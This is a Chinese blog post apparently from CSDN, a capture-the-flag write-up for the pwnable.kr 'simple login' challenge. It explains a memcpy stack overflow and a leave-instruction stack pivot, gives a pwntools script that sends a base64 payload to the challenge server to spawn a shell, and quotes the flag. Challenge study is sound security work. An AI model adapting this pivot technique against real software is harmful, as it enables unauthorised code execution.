PWN学习之[Rookiss]-[simple login]

别再只跑recon-all了!FreeSurfer实战:从T1图像到freeview可视化的完整避坑指南 本文详细解析FreeSurfer从T1图像处理到freeview可视化的全流程,包括环境配置、recon-all深度解析、高级可视化技巧及性能优化策略。特别针对常见错误提供解决方案,帮助用户高效完成MRI数据分析,避免常见陷阱。 阅读详情

文件下载下来后是个elf可执行文件
用IDA反编译后可以看到溢出点在auth函数中

_BOOL4 __cdecl auth(int a1)
{
  char v2; // [sp+14h] [bp-14h]@1
  char *s2; // [sp+1Ch] [bp-Ch]@1
  int v4; // [sp+20h] [bp-8h]@1

  memcpy(&v4, &input, a1);
  s2 = (char *)calc_md5(&v2, 12);
  printf("hash : %s\n", (char)s2);
  return strcmp("f87cd601aa7fedca99018a8be88eda34", s2) == 0;
}

memcpy函数将input的值copy至v4地址中,导致栈溢出。

image

通过gdb查看栈,其中绿色箭头为v4的地址红色箭头为auth函数返回地址,可以看到如果覆盖返回地址需要填充12个字节,13-16个字节改变返回地址

但是,本题要求输入字符通过base64解码且解码后长度不能超过12个

 v6 = Base64Decode((int)&v5, &v4);
  if ( v6 > 0xC )
  {
    puts("Wrong Length");
  }

这就比较尴尬了….陷入懵逼循环中…

最后看到http://www.cnblogs.com/anewid/p/4567242.html这篇博客才知道如何去做,感谢大佬

关键在于leave指令

leave指令等同于下面两条命令(32位)

mov esp, ebp
pop ebp;

该命令会将esp中的值给ebp,同时esp自身会+4

该指令执行完之后结果为:

esp = ebp + 4,ebp = [ebp]

因为在auth函数和main函数中最后都有leave指令,所以我们可以构造一个这样的payload:
‘aaaa’+system的地址+该输入存储的地址

输入后栈中情况为这样
image

可见输入的数据与返回地址只有一步之遥,
再联想刚才说的leave指令,怎么样?懂了吧!
auth函数中的leave指令会将ESP改为EBP+4既函数返回地址,将EBP的值改为0x811eb40的值既刚才输入的首地址然后函数返回,程序继续执行

此时的EBP的值已经被改为输入的首地址,当程序执行到main函数的leave指令时,将EBP加4赋值给ESP,刚才EBP的值已经被改为我们输入的首地址了,再加4即为system的地址!

就这样,我们成功get shell
获得flag:control EBP, control ESP, control EIP, control the world~

脚本如下

from pwn import *
import base64
sysaddr=0x8049284
inaddr=0x811EB40
shellcode='aaaa'+p32(sysaddr)+p32(inaddr)
shellcode=base64.b64encode(shellcode)
#print shellcode
con=remote('pwnable.kr',9003)
#con=process('./login')
con.recvuntil('Authenticate : ')
con.sendline(shellcode)
con.interactive()
Spring AI Alibaba 1.x 源码分析-架构设计 本文通过分析Spring AI Alibaba 框架的源码,分析出其原理和架构设计,无论是用于项目开发、技术评估还是团队培训都具有重要价值。 阅读详情

相关推荐

在pycharm2021.2中学习opencv图像处理,基于python3.9.7、pycharm完成配置

在pycharm中学习opencv图像处理安装python下载python安装包开始安装安装pycharm社区版下载pycharm开始安装如何改变文本的样式插入链接与图片如何插入一段漂亮的代码片生成一个适合你的列表创建一个表格设定内容居中、居左、居右SmartyPants创建一个自定义列表如何创建一个注脚注释也是必不可少的KaTeX数学公式新的甘特图功能,丰富你的文章UML 图表FLowchart流程图导出与导入导出导入 安装python 使用pycharm学习opencv应该是最简单的了,对新手比较友好,

steveqobs 7710

bool 和_Bool的使用

bool是C++的关键字,一种数据类型,长度是4 _Bool是C99新增加的关键字,长度是1 在C++中,又把bool重定义为_Bool ,typedef bool _Bool 想互相使用方法一:typedef typedef int _BOOL ; #define true 1 #define false 0 方法二:枚举 ypedef enum { true=1, false} _SBOOL;出现error: C2632: “int”后面的“bool”非法除了上述原因,还可能是和库文件重复定义产生冲突,

SKGLZ的博客 798

使用Docker搭建MaxKB智能体平台

【代码】使用Docker搭建MaxKB智能体平台。

janthinasnail的博客 711

pwnable.kr之simple login详解

学习二进制不容易,大家要忍得住寂寞,耐得住孤独,进入正题. 总体思路: 输入更多的数据,溢出,修改main的返回值地址,使其返回到correct中,从而获取shell. 大家可能会有疑问:为什么不修改auth函数的返回值地址,跳到correct中.这是因为长度不够,我们需要输入16个字节的长度,才能覆盖返回值地址,但是程序只给了我们12个字节的长度. main函数int main(int

Bill 2299

2025年普通人转向人工智能运维(AIOps)学习建议(附最新技术实践与资源)

AIOps不仅是技术的叠加,更是运维流程的重构。建议通过“学习-实践-反馈”循环,逐步从工具使用者成长为解决方案设计者。如需完整资源链接,可访问上述推荐的优快云博客及GitHub仓库。

资深全栈架构师,乐于在 优快云 分享技术见解,与大家携手共进,共攀技术巅峰! 3096

使用kmplot在线进行生存分析

欢迎关注”生信修炼手册”!kmplot是一个生存分析的在线工具,最初是设计用来对肝癌中的miRNA进行生存分析,对应的文章发表在scientific reports上,链接如下https...

庐州月光的博客 1万+

bool 和_Bool , bool & _Bool

bool是C++的关键字,一种数据类型,长度是4!!! _Bool是C99新增加的关键字,长度是1, 在C++中,又把bool重定义为_Bool ,typedef bool _Bool; void l_Bool(void) { printf("sizeof(_Bool) is %d\n",sizeof(_Bool)); } void lbool(void) { pri...

ambercctv的博客 1万+

数理金融学笔记 Chap2 二叉树模型Binomial

2 二叉树模型与期权定价 Binomial Model and Option Pricing 文章目录2 二叉树模型与期权定价 Binomial Model and Option Pricing单期二叉树模型 One-step Binomial Model风险与无风险资产单期二叉树模型与无套利条件无套利定价 No Arbitrage Pricing风险中性定价 Risk Neutral PricingDelta套期保值 Delta Hedging两期二叉树模型 Two-Step Binomial Model

weixin_66831131的博客 2388

CTF-PWN-[ZJCTF 2019]Login 栈位置的转换跟踪

来源:https://buuoj.cn/challenges内容:附件:链接:https://pan.baidu.com/s/1uBEYYeg9ouPDEOah-BHGQA?pwd=6si8 提取码:6si8答案:PWN题为动态flag使用安装pwn解题框架发现是cpp的题目,在password_checker的第9行下断点到判断密码的位置,随后输入用户名admin,密码cylic(300)用于测试溢出点和调用点题目是比较密码是否等于,正确则跳转进入 发现此处的值是aaaa,则我们将密码设置为 +cylic

serfend's blog 1610

C++时间复杂度分析

如果想要知道一个程序运行需要花费多少时间,直接运行测试不是更简单更准确吗?何必去花精力推算复杂度!首先,这个想法没问题,确实可以直接跑出来,但这属于马后炮,无法提前预估算法的时间复杂度,而且也非常受限:1、测试结果在不同处理器上运行的结果会有很大波动2、即使在同一环境下运行,不同数据也会导致结果有很大波动所以需要一个不用具体测试就能评估程序执行效率的方法,也就是时间、空间复杂度分析方法。

hls0611的博客 3841

開機自動進入UEFI Interactive Shell無法正常開機怎麼辦?

BIOS/UEFI,啟動後進入UEFI Interactive Shell大多數人都告訴你沒有安裝系統去裝系統吧,但你明明昨天還在運行系統?今天就這樣?有沒有解決辦法?

sheaahhoi1的博客 7745

pwnable 笔记 Rookiss - simple login - 50 pt

通过栈溢出控制EBP,从而控制ESP,最后控制EIP,获得对程序的控制权

HiTaQini 2217

SOEM主站开发篇(1):移植SOEM主站到Linux开发板

详细介绍了SOEM主站源码移植到Linux开发板上的步骤,同时演示了如何使用Linux开发板获取EtherCAT从站的PDO映射信息。

kevin1499的博客 2398

pwnable.kr simple login writeup

这道题是pwnable.kr Rookiss部分的simple login,需要我们去覆盖程序的ebp,eip,esp去改变程序的执行流程 主要逻辑是输入一个字符串,base64解码后看是否与题目给定字符串一致,如果一致返回一个shell,仔细分析发现并不像网上普遍说的导致栈溢出。嗯,菜鸡如我觉得还是有必要做下笔记的=W= 看一下关键函数的反汇编 auth函数调...

weixin_30363981的博客 138

android 蓝牙通讯demo

android 下蓝牙通讯demo,实现了发现蓝牙,使能蓝牙,通过蓝牙发送消息。

Camera2Demo

在Camera2 的基础上进行封装,使得Camera2一堆初始化逻辑与Activity分离,降低耦合度,完成预览拍照并保存的操作

[BUUCTF]PWN——[ZJCTF 2019]Login

[ZJCTF 2019]Login 附件 步骤: 例行检查,64位程序,开启了canary和nx保护 2. 试运行一下程序 3. 64位ida载入,检索字符串,在程序里找到了用户名admin和密码2jctf_pa5sw0rd 再次尝试登录,无果 在程序里找到了后门函数,backdoor=0x400e88 c++写的程序,看起来有点费劲,自己看了好久都找到漏洞在哪里,后来借鉴了其他师傅的wp后才发现了猫腻 问题出现在检查密码的那个函数上 反编译出来的伪代码看起来没什么问题 但是我们按下tab,

mcmuyanga的博客 2358

霍尼韦尔SoftMaster使用说明

霍尼韦尔SoftMaster使用说明

pwn -- pwnable.kr -- simple-login---学习stack pivot

在看关于pwn的书时学到了 栈帧劫持stack pivot 利用这个例题练习一下。 基本思想: stack pivot利用到的gadget是在函数退出时需要的两条指令:leave(mov esp,ebp;pop ebp);ret;。这两条指令基本都会有。 可以利用这两条指令,通过栈溢出的方式,实现可以完全控制栈。 stack pivot实现的基本方法 (我的理解 通过栈溢出的方式将 我们之后要实现的完全可控的栈的地址写到EBP的地方 写入之后 ,程序第一次leave;ret;,将写入的地址赋给esp。

YANG12345_6的博客 506

IEM模型,地表粗糙度模拟

利用微波反演土壤水分时候,利用IEM模型可以实现对随机地表的模拟

swpuctf2019 Login pwn详细题解

Login 这是swpuctf2019的第二道pwn题,主要考点就是非栈上的字符串格式化漏洞利用。 首先,我们检查一下程序的保护机制 PIE和RELRO没有开启,那么我们可以轻易的利用漏洞修改GOT表 我们用IDA分析一下 在这里,有一个明显的格式化字符串漏洞,由于s1不是在栈上,而是在bss段里,所以漏洞利用起来会比栈上的字符串格式化漏洞稍微繁琐一些。由于外层是一个死循环,所以...

seaaseesa的博客 1951

pwnable 笔记 Rookiss - fsb - 20 pt

典型的格式化字符串漏洞

HiTaQini 3296

CTF-PWN-magic (FILE结构体攻击)

程序综述 checksec 查看程序保护 supergate@ubuntu:~/Desktop/Pwn$ checksec pwn [*] '/home/supergate/Desktop/Pwn/pwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: ...

SuperGate的博客 1万+

攻防世界-PWN-magic-文件结构体利用

解题思路 安全机制检查 healer@healer-virtual-machine:~/Desktop/magic$ checksec magic [*] '/home/healer/Desktop/magic/magic' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) h

aptx4869_li的博客 1万+

C++学习笔记4 C++之bool类型

C++中的bool类型: C++在

CppPlayer 1014

C语言的布尔类型(_Bool)

Technorati 标签: C,布尔,boolean,_Bool,stdbool.h          也许很多人都和我一样,从C99标准开始,不知道C语言已经有了布尔型,类型名字为“_Bool”。         在此之前的C语言中,使用整型int来表示真假。在输入时:使用非零值表示真;零值表示假。在输出时:真的结果是1,假的结果是0;(这里我所说的“输入”,意思是:当在一个需要布尔值的地方,比如 if 条件判断中的的条件;“输出”的意思是:程序的逻辑表达式返回的结果,比如 a==b的返回结果,只有

大黑暗天 的专栏 16万+

bool类型_第4课 - 布尔类型和引用

第4课 - 布尔类型和引用一、C++中的布尔类型(1) C++在C语言的基本类型系统之上增加了 bool;(2) bool是C++中的基本数据类型,可以定义bool类型的全局变量,可以定义bool类型的常量,可以 定义bool类型的指针,可以定义bool类型的数组。等等类型;(3) C++中的bool可取的值只有true和false;true代表真值,编译器内部用1来表示,false代表非真 值,...

weixin_39608559的博客 354

4、C++中的bool类型

在C++中声明一个bool类型的变量,相当于告诉编译器分配一个字节的内存#include <iostream> using namespace std; void main() { bool b1 = true;//告诉c++编译器分配一个字节的内存 bool b2, b3, b4, b5; cout << "sizeof(bool)" << sizeof...

guozhaokun001的博客 396

攻防世界PWN之Magic题解

Magic 本题知识点,FILE结构体的攻击 首先,检查一下程序的保护机制,发现PIE和RELRO没有开启,或许我们可以很方便的修改GOT表 然后,我们用IDA分析一下,发现wizard_spell函数存在数组下标向负数越界的漏洞 然后是create函数 然后,我们用IDA调试一下,发现wizards[-2]处就是log_file的地址,而这句可以修改FILE结构体的第40字...

seaaseesa的博客 1747

PWN学习之[Rookiss]-[echo1]

echo1是一个64位的elf可执行文件,用checksec检查发现基本没有进行保护措施Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: H

Magic1an的博客 1683
上一篇: PWN学习之[Rookiss]-[echo1]
下一篇: PWN学习之[Toddler''s Bottle]-[bof]
Magic1an
博客等级 码龄9年 7粉丝 24原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值